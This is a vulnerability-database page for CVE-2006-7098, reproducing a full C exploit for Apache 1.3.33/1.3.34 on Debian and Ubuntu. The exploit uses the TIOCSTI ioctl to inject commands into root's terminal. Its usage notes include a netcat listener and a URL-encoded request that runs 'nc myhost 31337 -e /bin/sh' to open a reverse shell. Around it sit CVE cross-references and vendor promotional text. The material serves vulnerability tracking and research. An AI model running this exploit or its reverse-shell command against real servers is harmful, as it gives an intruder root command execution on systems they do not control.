Lucene search
+L

Apache 1.3.34/1.3.33 (Ubuntu / Debian) - CGI TTY Privilege Escalation

🗓️ 28 Feb 2007 00:00:00Reported by Kristian HermansenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 56 Views

Apache 1.3.34/1.3.33 CGI Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-7098
3 Mar 200719:00
cve
Cvelist
CVE-2006-7098
3 Mar 200719:00
cvelist
EUVD
EUVD-2006-7080
7 Oct 202500:30
euvd
NVD
CVE-2006-7098
3 Mar 200719:19
nvd
RedhatCVE
CVE-2006-7098
30 Oct 201509:27
redhatcve
UbuntuCve
CVE-2006-7098
3 Mar 200719:19
ubuntucve
/*
  :: Kristian Hermansen ::
  Date: 20070229
  Description: Local attacker can influence Apache to direct commands
    into an open tty owned by user who started apache process, usually root.
    This results in arbitrary command execution.
  Affects: Apache 1.3.33/1.3.34 on Debian Stable/Testing/Unstable/Experimental     and Ubuntu Warty (4.10)/Hoary (5.04)/Breezy (5.10)/Dapper (6.06)
    Edgy (6.10), Feisty (7.04).
  Notes: Must have CGI execution privileges and
    service started manually by root via shell.
    Also try adding "Options +ExecCGI" to your .htaccess file.
  Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
  Usage: nc -vvv -l -p 31337
    http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
  u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
    benkurtz, ... and who could forget ... setient (the gremlin)!!
*/

#include <fcntl.h>
#include <sys/ioctl.h>

int main(int argc, char *argv[]) {
  int pts = open("/dev/tty",O_RDONLY);
  while(*argv[1] != '\0') {
    ioctl(pts,TIOCSTI,argv[1]);
    argv[1]++;
  }
  return 0;
}

// milw0rm.com [2007-02-28]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.6
EPSS0.0056
56